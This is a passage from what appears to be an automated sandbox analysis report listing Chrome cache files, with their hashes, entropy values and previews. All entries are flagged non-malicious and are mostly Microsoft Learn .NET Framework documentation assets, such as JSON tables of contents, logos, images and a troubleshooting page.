File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
